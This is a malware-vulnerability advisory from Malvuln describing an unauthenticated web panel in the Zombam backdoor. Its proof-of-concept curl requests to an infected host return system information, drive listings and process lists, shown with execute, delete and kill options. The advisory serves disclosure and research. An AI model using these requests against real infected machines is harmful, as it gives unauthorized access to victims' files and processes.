Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_D.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.gen
Vulnerability: Information Disclosure
Description: Zombam malware listens on TCP port 80 and deploys an unsecured HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can make HTTP GET requests to browse drives, list processes etc.
Type: PE32
MD5: ff6516c881dee555b0cd253408b64404
Vuln ID: MVID-2021-0249
Disclosure: 06/13/2021

Exploit/PoC:
1) Get system information

CURL http://MALWARE-HOST-IP/info

welcome 2 HTTP_RAT infected computer }:]

menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]

computer information:

Computer name: DESKTOP-2C4IMHO
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
username: Victim

2) Browse C:, D: drive

CURL http://MALWARE-HOST-IP/C:/

welcome 2 HTTP_RAT infected computer }:]

menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]

listing of C:/

$Recycle.Bin
Boot
bootmgr [execute][delete]
BOOTNXT [execute][delete]
BOOTSECT.BAK [execute][delete]
Documents and Settings
dump
pagefile.sys [execute][delete]
PerfLogs
Program Files
Program Files (x86)
ProgramData
Recovery
swapfile.sys [execute][delete]
System Volume Information
Users
Windows

3) Get processes

CURL http://MALWARE-HOST-IP/proc 

welcome 2 HTTP_RAT infected computer }:]

menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]

running processez:

[System Process]
System [kill]
smss.exe [kill]
csrss.exe [kill]
wininit.exe [kill]
csrss.exe [kill]
winlogon.exe [kill]
services.exe [kill]
lsass.exe [kill]
fontdrvhost.exe [kill]
svchost.exe [kill]
fontdrvhost.exe [kill]
svchost.exe [kill]
dwm.exe [kill]
svchost.exe [kill]
svchost.exe [kill]


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